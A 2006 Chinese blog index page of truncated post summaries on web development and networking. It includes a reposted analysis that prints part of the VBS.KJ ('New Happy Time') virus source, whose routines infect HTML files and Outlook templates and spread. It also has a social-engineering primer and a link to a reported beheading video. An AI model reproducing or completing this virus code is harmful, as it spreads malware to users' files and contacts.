博文

[资料]JS使用DOM技术操纵文档(2006-11-07 14:23:00)

摘要: JavaScript高级应用:使用DOM技术操纵文档 作者:佚名  来源:本站整理  发布时间:2006-4-28 23:34:01  发布人:admin 减小字体 增大字体 JavaScript高级应用:使用DOM技术操纵文档 我们知道,如果使用DHTML对象模型对文档的内容进行操纵,就必须了解相关文档元素的特殊属性和方法。因为文档的元素有很多种,相应的属性和方法也就非常多,为了实现一个功能,开发人员不得不查询许多资料。但是有了DOM技术,一切变得简单起来,那些操纵文档内容的属性和方法具备了元素无关性(element-independent)特点,这使得我们能够按照相同的步骤操纵文档内容。毋庸置疑,DOM技术为开发人员在对象层次上操纵文档提供了最便捷的手段。 本文就为你全面介绍在JavaScript中如何使用DOM属性和方法操纵文档内容。 使用data、nodeValue和src属性 DOM提供了2个属性用于修改文本节点的内容,它们是data和nodeVaule。2个属性实现的功能相同,语法是:object.data="new value"或者object.nodeVaule="new value",其中object代表页面中的文本项节点。如果修改图形文件的内容,语法是:object.src=../../"new value",其中object表示页面中的img标记节点。来看看下面的例子: <HTML><HEAD><TITLE> DOM Demo </title></HEAD> <BODY ID="bodyNode"> This is the document body <P ID = "p1Node">This is paragraph 1.</P> <P ID = "p2Node">This is paragraph 2.</P> <P ID = "p3Node">This is paragraph 3. <IMG ID = "imgNode" SRC="myexam.gif">This text f......

阅读全文(6222) | 评论:0

[转帖]HTTP请求头概述(2006-10-22 19:56:00)

摘要:HTTP请求头概述 2006-10-17 22:12 HTTP客户程序(例如浏览器),向服务器发送请求的时候必须指明请求类型(一般是GET或者POST)。如有必要,客户程序还可以选择发送其他的请求头。大多数请求头并不是必需的,但Content-Length除外。对于POST请求来说Content-Length必须出现。   下面是一些最常见的请求头     Accept:浏览器可接受的MIME类型。     Accept-Charset:浏览器可接受的字符集。     Accept-Encoding:浏览器能够进行解码的数据编码方式,比如gzip。Servlet能够向支持gzip的浏览器返回经gzip编码的HTML页面。许多情形下这可以减少5到10倍的下载时间。     Accept-Language:浏览器所希望的语言种类,当服务器能够提供一种以上的语言版本时要用到。     Authorization:授权信息,通常出现在对服务器发送的WWW-Authenticate头的应答中。     Connection:表示是否需要持久连接。如果Servlet看到这里的值为;Keep-Alive”,或者看到请求使用的是HTTP 1.1(HTTP 1.1默认进行持久连接),它就可以利用持久连接的优点,当页面包含多个元素时(例如Applet,图片),显著地减少下载所需要的时间。要实现这一点,Servlet需要在应答中发送一个Content-Length头,最简单的实现方法是:先把内容写入ByteArrayOutputStream,然后在正式写出内容之前计算它的大小。     Content-Length:表示请求消息正文的长度。     Cookie:这是最重要的请求头信息之一     From:请求发送者的email地址,由一些特殊的Web客户程序使用,浏览器不会用到它。     Host:初始URL中的主机和端口。     If-Modified-Since:只有当所请求的内容在指定的日期之后又经过修改才返回它,否则返回304;Not Modified”应答。     Pragma:指定;no-cache”值表示服务器必须返回一个刷新后的文档,即使它是代理服务器而且已经有了页面的本地拷贝。     Referer:包含一个URL,用户从该URL代表的页......

阅读全文(4569) | 评论:0

[转帖]新欢乐时光源码(2006-10-16 11:41:00)

摘要: VBS.KJ[新欢乐时光]-源代码分析 作者:佚名  来源:不详  发布时间:2006-4-14 11:32:43  发布人:俺老虎 减小字体 增大字体 VBS.KJ[新欢乐时光] - 源代码分析'   Virus:  VBS.KJ'   Analyze by dancefire (DanceFire@263.net)'   2002/7/10'Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDiskSub KJ_start()    '   初始化变量 KJSetDim() '   初始化环境 KJCreateMilieu() '   感染本地或者共享上与html所在目录 KJLikeIt() '   通过vbs感染Outlook邮件模板 KJCreateMail() '   进行病毒传播 KJPropagate()End Sub'   函数:KJAppendTo(FilePath,TypeStr)'   功能:向指定类型的指定文件追加病毒'   参数:'       FilePath    指定文件路径'       TypeStr     指定类型Function KJAppendTo(FilePath,TypeStr) On Error Resume Next '   以只读方式打开指定文件 Set ReadTe......

阅读全文(3968) | 评论:0

[转帖]google服务和软件大全(2006-10-03 19:49:00)

摘要:google的group刚有了利用的打算,决定把google的服务都试下,看看google到底还有哪些服务 下面是从别处转过来的资料     Google这个公司现在已经是“家大业大”了,他们总是隔三岔五地推出一些新鲜的服务,让业界跟着也兴奋一把。不过历年来Google所发展出来的服务和软件实在太多了,究竟他们已经有了什么服务?现在就来看看吧。   Add to Google   这是一个提供网页信息的站点,主要的功能是把自己的主页介绍给Google让他收录,而时间上较长,起码一两个月才会被Google收录,但是一旦收了你的主页,知名度会更快地上升。   Blogger   Google提供的Blog服务,现在已经有中文版本了,大家可以上去安个家,把地址写到本文评论让大家去浏览。   Froogle   这是一个专业的引擎,可以输入你想要购买的东西,然后得到符合关键词的结果出来,可以比较一下各个购物网站不同的价格,挑选最合适的地方进行购买。   Gmail   Gmail是是Google提供的当前最流行的免费邮件服务,提供了超过2GB的储存空间。   Google AdSense   Google提供的广告服务,你是否遇到有不知来源的IP经常恶意点击你的广告,而你无法知道IP所以无法禁止,你是否想知道你的广告在哪个或者哪些页面点击率最高,而又不受渠道数量的限制,它主要针对Google Adsense的规则,在不违反规则的前提下为用户提供及时详细的广告点击统计信息。   Google AdWords   Google提供给商家的特殊广告站点,只要有人点击这里就会按一定规则向商家收费,算是网络上的分类广告。   Google Alerts   这是一个新闻定制站点,可以通过邮箱定制你需要的内容,然后得到相关的讯息。   Google Analytics   Google推出的免费提供的网站统计服务,只需要简单注册,即可帮助站长分析自己的站点情况,而且里面的内容非常详细,不光小网站有用,大网站更是可以作为一个参考的指标。   Google Answers   Google的问答站点,可以回答你很多不知道的问题,类似的还有百度出的百度知道,现在这个站点开始进入收费模式,你可以悬赏进行问题答案的购买。   Google B......

阅读全文(4373) | 评论:0

[转帖]php socket技术研究(2006-07-10 15:58:00)

摘要:下文是转自其他网站的资料,非原创,如果您觉得有侵犯您的个人权利请尽快联系blog主人删除 今天试着写一个 PHP 与 C 语言通过socket通讯的程序,看过PHP手册,发现有好几种方式可以建立socket 客户端. 1、通过 fsockopen() 建立socket连接,然后用 用fputs() 发送消息,用 fgets() 接收消息。 2、通过 socket_create() 建立 socket 连接,然后用 socket_send() or socket_write() 发送消息,用 socket_recv() or socket_read() 发送消息。     很奇怪,我在手册上看到了这样一段话"本扩展模块是实验性的。该模块的行为,包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。我们提醒您在使用本扩展模块的同时自担风险。" 看来 php4.0 socket通讯还不是完全稳定。 今天我写的客户端要与服务端做两次通讯,我用上面这个方法都写了一个客户端程序,发现当仅仅就一次通讯的时候,也就是PHP客户端发送一次消息,然后接收返回消息,就关闭连接。这两种方法都能正确快速的实现功能,但当做两次通讯时,却有明显的差别,第一种方法第一次通讯特别快就结束了,这个我可以通过服务端的输出看出来,但是第二次通讯要等上好几分钟才能结束,我试了好几次都这样,我不太清楚我的程序哪里出错了,还是这个方式连接就是有问题,但是第二种方法做这两次通讯却很快,正确!完成的非常的。 最后我根据 第二种情况写了一个 class ////////////////////////////// File Description ////////////////////////////////////////////  Class Name            : socket//  Version               : V1.0//......

阅读全文(3132) | 评论:0

[cs截图]奇怪的iceworld(2006-04-27 17:51:00)

摘要:我刚打出来的截图 没有外挂 一开始给人看别人还不信 这里也给您看看 我们是用2个人把一个人送上去的......

阅读全文(3322) | 评论:1

tdc资料(2006-04-22 17:49:00)

摘要:利用TDC组件实现对WEB页面的交互操作 夏亚东(山东农业大学教务处·山东泰安,271018)  【摘要】TDC是InternetExplorer4.0及以上版本提供的一个组件,它以有界定符文本文件作为数据来源,利用缓冲机制,在本地机实现对数据的动态控制,并支持Recordset集的属性和方法。如果将TDC数据绑定到WEB页面的HTML元素,可以不依赖ASP、CGI等服务器端处理逻辑,实现用户与页面的动态交互,减少动态网页对服务器的依赖程度,减轻服务器的压力和缓解网络拥挤。【关键字】数据绑定TDC动态页面 动态网页一般通过用户与服务器的交互操作实现,用户向服务器发出请求,服务器使用ASP、CGI等获取用户提交的信息,进行处理后将结果返回给给用户,这种方式一方面要求服务器提供上述服务和拥有服务器端执行程序的权限,另一面由于这种方式对服务器的依赖性很强,会加重服务器的负担和网络拥挤程度。Internetexplorer4.0及更高版本可以通过数据绑定技术(Databinding)和表格数据控件TDC(tabulardatacontrol)访问有限定符文本文件,以HTML文件为模板显示数据,并通过对已缓冲至本地机的文本文件操作,实现访问客户与数据驱动页面的动态交互。一.            数据绑定技术数据绑定由四部分组成——数据源对象(DSO-DataSourceObject)、数据引用(Dataconsumer)、绑定代理(Bindingagent)和列表(显示)代理(Tablerepetitionagent)。数据源对象提供数据传输、操作和通过脚本访问数据的能力;数据引用一般指WEB页面元素,它定义数据如何显示等;绑定代理用于数据识别和维护;列表(显示)代理用于保证列表数据的正确引用。二.            TDC组件TDC是Internetexplorer提供的内置数据源控件,提供访问有定界符文本文件的能力,拥有Datasrc、Fielddelim、Textquqlifier、Row......

阅读全文(2962) | 评论:0

近期研究所需资料帖(2006-04-16 20:39:00)

摘要: ......

阅读全文(2569) | 评论:0

深入浅出社会工程学(2006-04-16 20:27:00)

摘要:基础知识 在讲正题前先了解一下基本的知识吧:一些恶意入侵系统并进行摧毁的人叫cracker, 而一些只会使用别人开发的工具去入侵的叫做script kiddies. 我想这些都是大家知道的吧。 真正的黑客是具有编程能力并可以自己开发工具并有共享精神的人。一个真正的黑客不但是技术上的能人,同时,也应该是心理战术和与人交流的高手。对于怎么才能成为一个真正黑客的文章大家应该看的不少了吧,这里就不废话介绍。 在这篇文章里,我并不要告诉大家怎么去用所谓的技术―包括编程或者其他网络技术去对系统进行物理入侵。我要讲的是在一种更高的技巧,就是所谓的社会工程学(Social Engineering)。 可能大家对社会工程学这个名次并不算太了解,现在我就要通过这篇文章让大家理解社会工程学是如何应用在系统入侵和应该怎么进行基本的防范。 什么是社会工程学 Social Engineering is an academic field of study to construct a theory to resolve various social problems by means of physical, social and institutional approach with special emphasis on step by step or piecemeal improvements based upon the two directional planning and designing experiences of the reality. 哈哈,看不懂了吧,这是社会工程学的基本意思,上面那段话的大意是: 社会工程学是关于建立理论通过自然的,社会的和制度上的途径并特别强调根据现实的双向计划和设计经验来一步接一步的解决各种社会问题。 是不是很难明白啊。我也觉得。不用理这个,让我们看看社会工程学在我们的领域怎么解释: 社会工程学是一种攻击行为, 攻击者利用人际关系的互动性所发出的攻击:通常攻击者如果没有办法通过物理入侵的办法直接取得所需要的资料时,就会通过电子邮件或者电话对所需要的资料进行骗取,再利用这些资料获取主机的权限以达到其本身的目的。 现在理解了吗??? 如果还是不能理解我们就列举1个最最简单的例子说明一下好了: 盗取qq大家知道吧,除了本......

阅读全文(2783) | 评论:0

日本人质斩首视频 [转](2006-04-06 22:01:00)

摘要:太恐怖了 不敢放在这里给大家看,我把地址发给大家 http://www.blogcn.com/u/52/43/democracychina/index.html 进去看第一个文章......

阅读全文(20427) | 评论:10